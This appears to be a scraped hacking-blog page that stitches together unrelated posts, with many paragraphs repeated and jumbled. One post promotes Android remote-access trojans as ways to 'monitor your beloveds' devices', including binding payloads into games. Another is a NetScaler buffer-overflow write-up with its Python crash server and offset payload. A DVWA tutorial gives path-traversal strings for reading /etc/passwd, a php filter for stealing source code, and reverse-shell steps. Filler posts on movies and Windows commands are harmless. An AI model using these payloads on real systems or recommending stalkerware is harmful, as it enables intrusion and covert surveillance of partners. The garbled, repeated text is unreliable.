26 abr 2020
Zero-Day Warning: It's Possible To Hack iPhones Just By Sending Emails
Watch out Apple users! The default mail app pre-installed on millions of iPhone and iPad has been found vulnerable to two critical flaws that could let remote hackers secretly take complete control over Apple devices just by sending an email to targeted individuals. According to cybersecurity researchers at ZecOps, the vulnerabilities in question are out-of-bounds write and remote heap
via The Hacker News
via The Hacker News
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TOP ANDROID HACKING TOOLS OF 2018
An Android remote administration tool (RAT) is a programmed tool that allows a remote device to control a smartphone as if they have physical access to that system. While screen sharing and remote administration have many legal uses, "RAT" software is usually associated with the unauthorized or malicious activity. I have streamlined here top android hacking tools of 2018.
You can also follow a step by step tutorial on how to hack smartphone remotely using droidjack.
You can also follow a step by step tutorial on how to hacking a smartphone remotely using androrat.
You can also follow a step by step tutorial on how to hack any android phone remotely with spynote.
These are all the top android hacking tools of 2018. There are also many other rats but these are the most advanced in tech and features. There may appear few more that can compete these and make a place to be in the top android list.
TOP ANDROID HACKING TOOLS OF 2018
Here are the most advanced in functionality top android hacking tools of 2018.1. DROIDJACK
DroidJack gives you the power to establish control over your beloveds' Android devices with an easy to use GUI and all the features you need to monitor them. It has many advanced features that you can perform over the remote smartphone. DroidJack is one of the top lists as it also has the functionality to read/write WhatsApp messages.You can also follow a step by step tutorial on how to hack smartphone remotely using droidjack.
2. OMNIRAT
OmniRAT is the super powerful multi-OS remote administration tool that can a smartphone either using a smartphone or using a Windows or Mac PC. It has a huge list of features that make it very powerful. It can make calls through that smartphone remotely. It's completely fully undetectable.3. ANDRORAT
AndroRat is a client/server application developed in Java Android for the client side and in Java/Swing for the Server. The name AndroRat is a mix of Android and RAT (Remote Access Tool). It was developed as a project by the university students, which works great for hacking into Android devices.You can also follow a step by step tutorial on how to hacking a smartphone remotely using androrat.
4. SPYNOTE
SpyNote is a lightweight Android remote administration tool (RAT) to hack into a smartphone device remotely. It gives you the power to establish control over Android devices with an easy to use GUI and all the features you need to monitor them. Build a custom APK or bind the payload to an already existing APK such as a game or social media app.You can also follow a step by step tutorial on how to hack any android phone remotely with spynote.
5. AHMYTH
AhMyth is a powerful android remote administrator tool that gives you the power to establish control over your beloveds' android devices with an easy to use GUI and all the features you need to monitor them.These are all the top android hacking tools of 2018. There are also many other rats but these are the most advanced in tech and features. There may appear few more that can compete these and make a place to be in the top android list.
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25 abr 2020
Scaling The NetScaler
A few months ago I noticed that Citrix provides virtual appliances to test their applications, I decided to pull down an appliance and take a peek. First I started out by downloading the trial Netscaler VM (version 10.1-119.7) from the following location:
http://www.citrix.com/products/netscaler-application-delivery-controller/try.html
Upon boot, the appliance is configured with nsroot/nsroot for the login and password. I logged in and started looking around and noticed that the web application is written in PHP using the code igniter framework (screw that crap). Since code igniter abstracts everything with MVC and actual scripts are hidden behind routes I decided to take a look at the apache configuration. I noticed that apache was configured with a SOAP endpoint that was using shared objects (YUMMY):
/etc/httpd
# SOAP handlerIt wasn't clear what this end point was used for and it wasn't friendly if you hit it directly:
<Location /soap>
SetHandler gsoap-handler SOAPLibrary /usr/lib/libnscli90.so SupportLibrary /usr/lib/libnsapps.so </Location>
So I grep'd through the application code looking for any calls to this service and got a hit:
root@ns# grep -r '/soap' *
models/common/xmlapi_model.php: $this->soap_client = new nusoap_client("http://" . $this->server_ip . "/soap");
Within this file I saw this juicy bit of PHP which would have made this whole process way easier if it wasn't neutered with the hardcoded "$use_api = true;"
/netscaler/ns_gui/admin_ui/php/application/models/common/xmlapi_model.php
I fired up netcat to see what it was sending, but it was just "junk", so I grabbed a pcap on the loopback interface on the netscaler vm to catch a normal transaction between the SOAP endpoint and the service to see what it was doing. It still wasn't really clear exactly what the data was as it was some sort of "binary" stream:
Which provided the following awesome log entry in the Netscaler VM window:
Loading the dump up in gdb we get the following (promising looking):
The crash was caused because once again the app is trying to access a value at an offset of a bad address (from our payload). This value is at offset 606 in our payload according to "pattern_offset" and if you were following along you can see that this value sits at 0xffffda78 + 4, which is what we specified previously. So we need to adjust our payload with another address to have EDX point at a valid address and keep playing whack a mole OR we can look at the function and possibly find a short cut:
If we can follow this code path keeping EDX a valid memory address and set EBP+12 (offset in our payload) to 0x0 we can take the jump LEAV/RET and for the sake of time and my sanity, unroll the call stack to the point of our control. You will have to trust me here OR download the VM and see for yourself (my suggestion if you have found this interesting :> )
And of course, the money shot:
A PoC can be found HERE that will spawn a shell on port 1337 of the NetScaler vm, hopefully someone has some fun with it :)
It is not clear if this issue has been fixed by Citrix as they stopped giving me updates on the status of this bug. For those that are concerned with the timeline:
6/3/14 - Bug was reported to Citrix
6/4/14 - Confirmation report was received
6/24/14 - Update from Citrix - In the process of scheduling updates
7/14/14 - Emailed asking for update
7/16/14 - Update from Citrix - Still scheduling update, will let me know the following week.
9/22/14 - No further communication received. Well past 100 days, public disclosure
protected function command_execution($command, $parameters, $use_api = true) {For giggles I set it to false and gave it a whirl, worked as expected :(
//Reporting can use API & exe to execute commands. To make it work, comment the following line.
$use_api = true; if(!$use_api)
{
$exec_command = "/netscaler/nscollect " . $this- >convert_parameters_to_string($command, $parameters);
$this->benchmark->mark("ns_exe_start");
$exe_result = exec($exec_command); $this->benchmark->mark("ns_exe_end");
$elapsed_time = $this->benchmark->elapsed_time("ns_exe_start",
"ns_exe_end");
log_message("profile", $elapsed_time . " --> EXE_EXECUTION_TIME " .
$command); $this->result["rc"] = 0;
$this->result["message"] = "Done"; $this->result["List"] = array(array("response" => $exe_result));
$return_value = 0;
}
The other side of this "if" statement was a reference to making a soap call and due to the reference to the local "/soap" and the fact all roads from "do_login" were driven to this file through over nine thousand levels of abstraction it was clear that upon login the server made an internal request to this endpoint. I started up tcpdump on the loopback interface on the box and captured an example request:
According to tcpdump it was trying to connect to my provided host on port 3010:
root@ns# tcpdump -Ani lo0 -s0 port 80I pulled the request out and started playing with it in burp repeater. The one thing that seemed strange was that it had a parameter that was the IP of the box itself, the client string I got...it was used for tracking who was making requests to login, but the other didn't really make sense to me. I went ahead and changed the address to another VM and noticed something strange:
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on lo0, link-type NULL (BSD loopback), capture size 65535 bytes 23:29:18.169188 IP 127.0.0.1.49731 > 127.0.0.1.80: P 1:863(862) ack 1 win 33304 <nop,nop,timestamp 1659543 1659542>
E...>D@.@............C.P'R...2.............
..R...R.POST /soap HTTP/1.0
Host: 127.0.0.1
User-Agent: NuSOAP/0.9.5 (1.56)
Content-Type: text/xml; charset=ISO-8859-1
SOAPAction: ""
Content-Length: 708
<?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAP- ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP- ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP- ENC="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body> <ns7744:login xmlns:ns7744="urn:NSConfig"><username xsi:type="xsd:string">nsroot</username><password xsi:type="xsd:string">nsroot</password><clientip
xsi:type="xsd:string">192.168.166.1</clientip><cookieTimeout xsi:type="xsd:int">1800</cookieTimeout><ns xsi:type="xsd:string">192.168.166.138</ns></ns7744:login></SOAP-ENV:Body> </SOAP-ENV:Envelope>
23:29:18.174582 IP 127.0.0.1.80 > 127.0.0.1.49731: P 1:961(960) ack 863 win 33304 <nop,nop,timestamp 1659548 1659543>
E...>[@.@............P.C.2..'R.o.....\.....
..R...R.HTTP/1.1 200 OK
Date: Mon, 02 Jun 2014 23:29:18 GMT
Server: Apache
Last-Modified: Mon, 02 Jun 2014 23:29:18 GMT Status: 200 OK
Content-Length: 615
Connection: keep-alive, close
Set-Cookie: NSAPI=##7BD2646BC9BC8A2426ACD0A5D92AF3377A152EBFDA878F45DAAF34A43 09F;Domain=127.0.0.1;Path=/soap;Version=1
Content-Type: text/xml; charset=utf-8
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP- ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP- ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns="urn:NSConfig"> <SOAP-ENV:Header></SOAP-ENV:Header><SOAP-ENV:Body SOAP- ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <ns:loginResponse><return xsi:type="ns:simpleResult"><rc xsi:type="xsd:unsignedInt">0</rc><message xsi:type="xsd:string">Done</message> </return></ns:loginResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>
According to tcpdump it was trying to connect to my provided host on port 3010:
root@ns# tcpdump -A host 192.168.166.137 and port not ssh
tcpdump: WARNING: BIOCPROMISC: Device busy
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on 0/1, link-type EN10MB (Ethernet), capture size 96 bytes 23:37:17.040559 IP 192.168.166.138.49392 > 192.168.166.137.3010: S 4126875155:4126875155(0) win 65535 <mss 1460,nop,wscale 1,nop,nop,timestamp 2138392 0,sackOK,eol>
I fired up netcat to see what it was sending, but it was just "junk", so I grabbed a pcap on the loopback interface on the netscaler vm to catch a normal transaction between the SOAP endpoint and the service to see what it was doing. It still wasn't really clear exactly what the data was as it was some sort of "binary" stream:
I grabbed a copy of the servers response and setup a test python client that replied with a replay of the servers response, it worked (and there may be an auth bypass here as it responds with a cookie for some API functionality...). I figured it may be worth shooting a bunch of crap back at the client just to see what would happen. I modified my python script to insert a bunch "A" into the stream:
import socket,sys
resp = "\x00\x01\x00\x00\xa5\xa5"+ ("A"*1000)+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
HOST = None # Symbolic name meaning all available interfaces
PORT = 3010 # Arbitrary non-privileged port
s = None
for res in socket.getaddrinfo(HOST, PORT, socket.AF_UNSPEC,socket.SOCK_STREAM, 0, socket.AI_PASSIVE):
af, socktype, proto, canonname, sa = res
try:
s = socket.socket(af, socktype, proto)
except socket.error as msg:
s = None
continue
try:
s.bind(sa)
s.listen(1)
except socket.error as msg:
s.close()
s = None
continue
break
if s is None:
print 'could not open socket'
sys.exit(1)
conn, addr = s.accept()
print 'Connected by', addr
while 1:
data = conn.recv(1024)
if not data:
break
print 'sending!' conn.send(resp)
print 'sent!' conn.close()
Which provided the following awesome log entry in the Netscaler VM window:
Loading the dump up in gdb we get the following (promising looking):
And the current instruction it is trying to call:
An offset into the address 0x41414141, sure that usually works :P - we need to adjust the payload in a way that EDX is a valid address we can address by offset in order to continue execution. In order to do that we need to figure out where in our payload the EDX value is coming from. The metasploit "pattern_create" works great for this ("root@blah:/usr/share/metasploit-framework/tools# ./pattern_create.rb 1000"). After replacing the "A" *1000 in our script with the pattern we can see that EDX is at offset 610 in our payload:
Looking at the source of EDX, which is an offset of EBP we can see the rest of our payload, we can go ahead and replace the value in our payload at offset 610 with the address of EBP
An offset into the address 0x41414141, sure that usually works :P - we need to adjust the payload in a way that EDX is a valid address we can address by offset in order to continue execution. In order to do that we need to figure out where in our payload the EDX value is coming from. The metasploit "pattern_create" works great for this ("root@blah:/usr/share/metasploit-framework/tools# ./pattern_create.rb 1000"). After replacing the "A" *1000 in our script with the pattern we can see that EDX is at offset 610 in our payload:
Looking at the source of EDX, which is an offset of EBP we can see the rest of our payload, we can go ahead and replace the value in our payload at offset 610 with the address of EBP
resp = "\x00\x01\x00\x00\xa5\xa5"+p[:610]+'\x78\xda\xff\xff'+p[614:]+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
When we run everything again and take a look at our core dump you can see we have progressed in execution and have hit another snag that causes a crash:
If we can follow this code path keeping EDX a valid memory address and set EBP+12 (offset in our payload) to 0x0 we can take the jump LEAV/RET and for the sake of time and my sanity, unroll the call stack to the point of our control. You will have to trust me here OR download the VM and see for yourself (my suggestion if you have found this interesting :> )
And of course, the money shot:
A PoC can be found HERE that will spawn a shell on port 1337 of the NetScaler vm, hopefully someone has some fun with it :)
It is not clear if this issue has been fixed by Citrix as they stopped giving me updates on the status of this bug. For those that are concerned with the timeline:
6/3/14 - Bug was reported to Citrix
6/4/14 - Confirmation report was received
6/24/14 - Update from Citrix - In the process of scheduling updates
7/14/14 - Emailed asking for update
7/16/14 - Update from Citrix - Still scheduling update, will let me know the following week.
9/22/14 - No further communication received. Well past 100 days, public disclosure
More information
TOP 10 HACKING MOVIES YOU SHOULD WATCH
Technology and hacking gave a new horizon to the science fiction movies. As hacking is getting common and every online thing is at risk whether it's 10% or 90%, not a system is 100% secure over the internet. Every day new security holes are getting discovered. So, now most of the sci-fi movies have the tech and hack stuff to grow awareness in everybody's mind about the online privacy and risk to their information. Here I am sharing top 10 hacking movies that worth a watch.
TOP 10 HACKING MOVIES
Here I have listed top 10 hacking movies that you should watch.
1. HACKERS (1995)
In Hackers, Angelina Jolie and Jonny Lee Miller portray two youthful and hip hackers. Miller portrays a hacker who got caught as a very young child at an age of 11 years after crashing thousands of computers and has been sentenced to zero computer access until his 18th birthday.
2. LIVE FREE OR DIE HARD (2007)
Live Free or Die Hard (also known as Die Hard 4 and released as Die Hard 4.0 outside North America) is a 2007 American action film, and the fourth in the Die Hard film series depicts a scenario where a hacker played by Timothy Olyphant (of Justified fame) takes down nearly the entire U.S. infrastructure in an attempt to transfer trillions of dollars from the Federal Reserve to his account. This movie gives a complete idea of how actually these blackhat hackers operate.
3. EAGLE EYE (2008)
In this movie, two people get a call from an unknown number by a woman. They get a task on the phone that if they don't follow the phone call they would die. This movie displays supercomputer hack on all networks and military networks. This is just an amazing movie on how artificial intelligence computer hacks our real life for bad motives.
4. ALGORITHM (2014)
The film 'Algorithm' tracks the travails of Will, who is the freelance computer hacker who hacks into a top-secret government contractor agency and downloads all their recently developed programs." You can see the full movie below
5. WARGAMES (1983)
The film features David Lightman (Broderick), a young high school student hacker who accidentally hacks into a military supercomputer and starts the countdown to World War III.
6. THE MATRIX (1999)
This is one of the greatest science fiction movies. In this movie, reality, as perceived by most humans, is actually a simulated reality called "the Matrix", created by machines to subdue the human population, while their bodies' heat and electrical activity are used as an energy source.
A character named "Neo", who is a computer Hacker, learns this truth and is drawn into a rebellion against the machines, which involves other people who have been freed from the "dream world". The Matrix franchise is a trilogy movie series.
7. TAKEDOWN (2000)
This movie is based on famous computer U.S. hacker Kevin David Mitnick. Based upon the book and written by his nemesis, Tsutomu Shimomura, the story tends to glorify Shimomura. Mitnick operated in the 1980s and '90s and eventually went to prison for a couple of years. Now, he is a highly paid IT security consultant, speaker, and writer.
8. BLACKHAT (2015)
Blackhat is newly released movie by Chris Hemsworth. In this movie, hackers hack the Chinese nuclear power plant to start a nuclear reaction. Simultaneously, they also hack the stock exchange and steal millions of dollars from the bank. This movie shows how a black hat hackers threaten governments.
9. THE ITALIAN JOB (2003)
Although the MINI Coopers are really the stars of The Italian Job (a remake of the 1969 film of the same name), Seth Green plays Lyle, a hacker among a group of elite thieves, who is able to manipulate traffic signals, among other devices, that make this grand theft possible.
10. UNTRACEABLE (2008)
This film involves a serial killer who rigs contraptions that kill his victims based on the number of hits received by a website KillWithMe.com that features a live streaming video of the victim. Millions of people log on, hastening the victims' deaths.
There may be more exciting hacking movies but I found these top 10 hacking movies that you should watch for once.
You can also find out the top 5 most dangerous hackers in the real world living.
HOW TO BECOME A CERTIFIED ETHICAL HACKER
7 Tips to become a hacker?
It is very important for a hacker to learn different types of programming language such as C,C++,Python,Java,PHP etc and it is also necessary to learn hardware and networking for a good hacker because these skill are very useful to become a successful hacker.
It is very important for a hacker to learn different types of programming language such as C,C++,Python,Java,PHP etc and it is also necessary to learn hardware and networking for a good hacker because these skill are very useful to become a successful hacker.
1-Programming Language are essential to becoming a good hacker
2-Networking skills is important to becoming an effective hacker.
3-SQL language are essential to becoming an effective hacker
4-Internet surfing is also essential for becoming a hacker for gathering information.
5-Cryptography is essential to becoming a certified hacker from which a hacker can share his/her readable data to other person in a nonreadable form with the help of Cryptography.
6-Penetration testing is also important for a hacker.
7-experiment a lot is also very useful to becoming a ethical hacker.
Follow me on insta_anoymous_adi
More infoHOW TO BECOME A CERTIFIED ETHICAL HACKER
7 Tips to become a hacker?
It is very important for a hacker to learn different types of programming language such as C,C++,Python,Java,PHP etc and it is also necessary to learn hardware and networking for a good hacker because these skill are very useful to become a successful hacker.
It is very important for a hacker to learn different types of programming language such as C,C++,Python,Java,PHP etc and it is also necessary to learn hardware and networking for a good hacker because these skill are very useful to become a successful hacker.
1-Programming Language are essential to becoming a good hacker
2-Networking skills is important to becoming an effective hacker.
3-SQL language are essential to becoming an effective hacker
4-Internet surfing is also essential for becoming a hacker for gathering information.
5-Cryptography is essential to becoming a certified hacker from which a hacker can share his/her readable data to other person in a nonreadable form with the help of Cryptography.
6-Penetration testing is also important for a hacker.
7-experiment a lot is also very useful to becoming a ethical hacker.
Follow me on insta_anoymous_adi
Continue reading
Learning Web Pentesting With DVWA Part 6: File Inclusion
In this article we are going to go through File Inclusion Vulnerability. Wikipedia defines File Inclusion Vulnerability as: "A file inclusion vulnerability is a type of web vulnerability that is most commonly found to affect web applications that rely on a scripting run time. This issue is caused when an application builds a path to executable code using an attacker-controlled variable in a way that allows the attacker to control which file is executed at run time. A file include vulnerability is distinct from a generic directory traversal attack, in that directory traversal is a way of gaining unauthorized file system access, and a file inclusion vulnerability subverts how an application loads code for execution. Successful exploitation of a file inclusion vulnerability will result in remote code execution on the web server that runs the affected web application."
There are two types of File Inclusion Vulnerabilities, LFI (Local File Inclusion) and RFI (Remote File Inclusion). Offensive Security's Metasploit Unleashed guide describes LFI and RFI as:
"LFI vulnerabilities allow an attacker to read (and sometimes execute) files on the victim machine. This can be very dangerous because if the web server is misconfigured and running with high privileges, the attacker may gain access to sensitive information. If the attacker is able to place code on the web server through other means, then they may be able to execute arbitrary commands.
RFI vulnerabilities are easier to exploit but less common. Instead of accessing a file on the local machine, the attacker is able to execute code hosted on their own machine."
In simpler terms LFI allows us to use the web application's execution engine (say php) to execute local files on the web server and RFI allows us to execute remote files, within the context of the target web server, which can be hosted anywhere remotely (given they can be accessed from the network on which web server is running).
To follow along, click on the File Inclusion navigation link of DVWA, you should see a page like this:
Lets start by doing an LFI attack on the web application.
Looking at the URL of the web application we can see a parameter named page which is used to load different php pages on the website.
Since it is loading different pages we can guess that it is loading local pages from the server and executing them. Lets try to get the famous /etc/passwd file found on every linux, to do that we have to find a way to access it via our LFI. We will start with this:
entering the above payload in the page parameter of the URL:
we get nothing back which means the page does not exist. Lets try to understand what we are trying to accomplish. We are asking for a file named passwd in a directory named etc which is one directory up from our current working directory. The etc directory lies at the root (/) of a linux file system. We tried to guess that we are in a directory (say www) which also lies at the root of the file system, that's why we tried to go up by one directory and then move to the etc directory which contains the passwd file. Our next guess will be that maybe we are two directories deeper, so we modify our payload to be like this:
we get nothing back. We continue to modify our payload thinking we are one more directory deeper.
no luck again, lets try one more:
nop nothing, we keep on going one directory deeper until we get seven directories deep and our payload becomes:
which returns the contents of passwd file as seen below:
This just means that we are currently working in a directory which is seven levels deep inside the root (/) directory. It also proves that our LFI is a success. We can also use php filters to get more and more information from the server. For example if we want to get the source code of the web server we can use php wrapper filter for that like this:
We will get a base64 encoded string. Lets copy that base64 encoded string in a file and save it as index.php.b64 (name can be anything) and then decode it like this:
We will now be able to read the web application's source code. But you maybe thinking why didn't we simply try to get index.php file without using php filter. The reason is because if we try to get a php file with LFI, the php file will be executed by the php interpreter rather than displayed as a text file. As a workaround we first encode it as base64 which the interpreter won't interpret since it is not php and thus will display the text. Next we will try to get a shell. Before php version 5.2, allow_url_include setting was enabled by default however after version 5.2 it was disabled by default. Since the version of php on which our dvwa app is running on is 5.2+ we cannot use the older methods like input wrapper or RFI to get shell on dvwa unless we change the default settings (which I won't). We will use the file upload functionality to get shell. We will upload a reverse shell using the file upload functionality and then access that uploaded reverse shell via LFI.
Lets upload our reverse shell via File Upload functionality and then set up our netcat listener to listen for a connection coming from the server.
Then using our LFI we will execute the uploaded reverse shell by accessing it using this url:
Voila! We have a shell.
To learn more about File Upload Vulnerability and the reverse shell we have used here read Learning Web Pentesting With DVWA Part 5: Using File Upload to Get Shell. Attackers usually chain multiple vulnerabilities to get as much access as they can. This is a simple example of how multiple vulnerabilities (Unrestricted File Upload + LFI) can be used to scale up attacks. If you are interested in learning more about php wrappers then LFI CheetSheet is a good read and if you want to perform these attacks on the dvwa, then you'll have to enable allow_url_include setting by logging in to the dvwa server. That's it for today have fun.
Leave your questions and queries in the comments below.
There are two types of File Inclusion Vulnerabilities, LFI (Local File Inclusion) and RFI (Remote File Inclusion). Offensive Security's Metasploit Unleashed guide describes LFI and RFI as:
"LFI vulnerabilities allow an attacker to read (and sometimes execute) files on the victim machine. This can be very dangerous because if the web server is misconfigured and running with high privileges, the attacker may gain access to sensitive information. If the attacker is able to place code on the web server through other means, then they may be able to execute arbitrary commands.
RFI vulnerabilities are easier to exploit but less common. Instead of accessing a file on the local machine, the attacker is able to execute code hosted on their own machine."
In simpler terms LFI allows us to use the web application's execution engine (say php) to execute local files on the web server and RFI allows us to execute remote files, within the context of the target web server, which can be hosted anywhere remotely (given they can be accessed from the network on which web server is running).
To follow along, click on the File Inclusion navigation link of DVWA, you should see a page like this:
Looking at the URL of the web application we can see a parameter named page which is used to load different php pages on the website.
http://localhost:9000/vulnerabilities/fi/?page=include.php
../etc/passwd
http://localhost:9000/vulnerabilities/fi/?page=../etc/passwd
../../etc/passwd
../../../etc/passwd
../../../../etc/passwd
../../../../../../../etc/passwd
php://filter/convert.base64-encode/resource=index.php
cat index.php.b64 | base64 -d > index.php
Lets upload our reverse shell via File Upload functionality and then set up our netcat listener to listen for a connection coming from the server.
nc -lvnp 9999
http://localhost:9000/vulnerabilities/fi/?page=../../hackable/uploads/revshell.php
Leave your questions and queries in the comments below.
References:
- FILE INCLUSION VULNERABILITIES: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/
- php://: https://www.php.net/manual/en/wrappers.php.php
- LFI Cheat Sheet: https://highon.coffee/blog/lfi-cheat-sheet/
- File inclusion vulnerability: https://en.wikipedia.org/wiki/File_inclusion_vulnerability
- PHP 5.2.0 Release Announcement: https://www.php.net/releases/5_2_0.php
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15 Important Run Commands Every Windows User Should Know
There are several ways to efficiently access the files, folders, and programs in Windows operating system. We can create shortcuts, pin programs to the taskbar, Start menu shortcuts etc. but we can't do it for all programs in many cases. However, the Windows Run Command box is one of the most efficient ways of accessing system programs, folders, and settings.
In this article, I am going to share 15 most important Run commands for Windows users. These commands can make it easier to manage a lot of tasks.
How to open Windows Run command box?
You need to press Win+R (Hold Windows button then Press R)
Important Run Commands Every Windows User Should Know
1. %temp%
This is the fastest way to clear the temporary files from your computer. It can save a lot of space which was being wasted by temporary files.
2. cmd
This command will open the windows DOS command prompt. Windows command prompt is very useful for performing many tasks which are not possible using graphical user interface.
3. MSConfig
Windows System Configuration
This command will open Windows System Configuration where you can edit different things like the boot options, startup options, services, etc.
4. sysdm.cpl
System Properties window
This command will open the System Properties window, Where you can change the system protection and performance related many settings
5. Powershell
Powershell is very similar the command prompt. Just type this command in the Run dialog box, and you will have your PowerShell opened without administrator privileges.
6. perfmon.msc
Windows System Performance monitor
This command can be used to monitor the performance of your computer. There are plenty of options for monitoring the system performance
7. regedit
Regedit Run command is used to open the Windows Registry. It is a hierarchical database that hosts all the configurations and settings of Windows operating system, it's users and the installed software.
8. \ (Backslash)
This is one of the lesser known Run commands. Just enter the backslash into the Run dialog box and it will open up the C drive. It is one of the quickest ways to access the C drive.
9. . (Dot)
This is yet another lesser known Run command. When executed, it opens the current user's home folder which hosts all the other local folders like the Downloads, Documents, Desktop, Pictures, etc.
10. .. (Double Dots)
When you execute these two dots in the Run dialog box, it will open up the Users folder which is located directly on the C drive
Also Read; Top 10 Great Gifts For Hackers
11. Control
This command will open the control panel. Control panel is used for managing all the system settings and programs
12. hdwwiz.cpl
Windows Device Manager
This command is used to open the Device Manager in Windows. You can manage all the device connected internally or externally to your PC.
13. Notepad
The quickest way to open notepad in Windows. Just type this command in Run Box and hit enter.
14. osk
This command will open On-Screen Keyboard on your display monitor. You can easily touch and type or use your mouse for typing.
15. taskmgr
This command will open task manager where you can manage all the processes and programs running on Windows Operating system.
Difference Between Hacker, Programmer, And Developer
There are numerous sprite debates and discussions on the differences between hackers, developers, and programmers. With most descriptions, however, there is usually a slight flaw in at least one or two serious ways. These terms are all traditionally misused and misunderstood, with many of us frequently mixing them up as an all-encompassing definition of anyone working on the Software realm.
However, if you are looking to clarify your project goals and business needs adequately, it is essential that you understand that all these terms do not all represent the same thing (although a person with the ability to program a computer can use different skills to accomplish various outcomes).
What's more, it is also quite important for you to differentiate between these three terms if you are working with software development groups and the fact that they cannot be interchanged. This excerpt seeks to break it all down for you mainly-the vital difference between hackers, developers, and programmers, their actual tasks, as well as their relationship.
The Hacker
A hacker is a computer expert who uses his knowledge of computer networking, programming, cryptography, and databases to overcome a problem in the system. Hackers are more concerned with availing the concept as opposed to minding about the long-term quality. And although a hacker can conceptualize about how will ultimately be created while frantically writing code, the role is primarily about speed.
A hacker, as well as hacking,' are most useful in dealing with emergency circumstances or when prototyping an item. Hackers and the profession of hacking, in general, is not concerned with the ultimate effect of the code.
Hackers make things. They typically alter the things programmers create and transform them to function differently as well as also writing codes. While "hacker" can refer to any skilled technical person, the term has become associated with computer security, someone who, with their technical knowledge, uses bugs or exploits to break into computer systems.
The Programmer
A programmer is an individual equipped with the expertise to write codes. Programmers usually master in a single or multiple programming languages and boast vast knowledge on related areas also. Their roles are relatively procedural and mandate for total concentration not to mention refined skills.
A programmer is solely focused both in writing codes as well as getting features appropriately performed so that these features are accessible for integration and later use. Programming is merely the process of swinging the hammer and adequately creating the software.
Usually, it is easy to identify that an individual is in programming mode since they often have a concentrated gaze and are deep in the zone.' Programmers are normally internalizing the system they are operating as well as editing and writing pieces of something that can only best be described as a long algebra problem.'
The Developer
Developers are typically creators. However, not anyone that is an expert at writing codes can be a developer. Developers are experts at identifying ways around various problems as well as plugging together components to fulfill some requirements. These professionals solve problems or create things by adhering to a specific set of principles (design and implementation).
This set of principles includes attributes such as maintainability, performance, robustness, security, and scale among others. They solve problems in a systematic manner. Ideally, this is what distinguishes programmers, developers, and hackers.
In A Nutshell:
In all simplicity, these three professionals solve various problems using code. A programmer is an encompassing term that means a problem solver, a developer is a trained programmer (formal) who besides resolving issues achieves it in an organized and methodical manner likely instilled in the course of their formal education, and a hacker is a tinkerer/creator.
Despite their differences in individual meaning and professional capacities, these terms, however, can interrelate with each other quite effectively. In fact, it is possible for you to combine the skills to your benefit. In reality, all developers and hackers are programmers. However, despite their expertise, not many developers and programmers are creative enough to warrant an identity as hackers.
Finally, although hackers and programmers are quite impressive, they are however not experienced or educated enough to warrant consideration as developers. The similarity, however, is that all work to create code, each in their specified manner.
Ideally, anyone would work to be all the above-as creative as a hacker, though, somewhat better experienced and formally trained to design software as opposed to only hacking.
Nonetheless, even if you lack the creativity, experience, or education, or either to necessarily create a broad application, it is still worth noting that you are still ideally a programmer. And in case you did not know, solving a problem through code is by itself, a superpower!
@£√£RYTHING NT
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23 abr 2020
CORS Misconfigurations On A Large Scale
Inspired by James Kettle's great OWASP AppSec Europe talk on CORS misconfigurations, we decided to fiddle around with CORS security issues a bit. We were curious how many websites out there are actually vulnerable because of dynamically generated or misconfigured CORS headers.
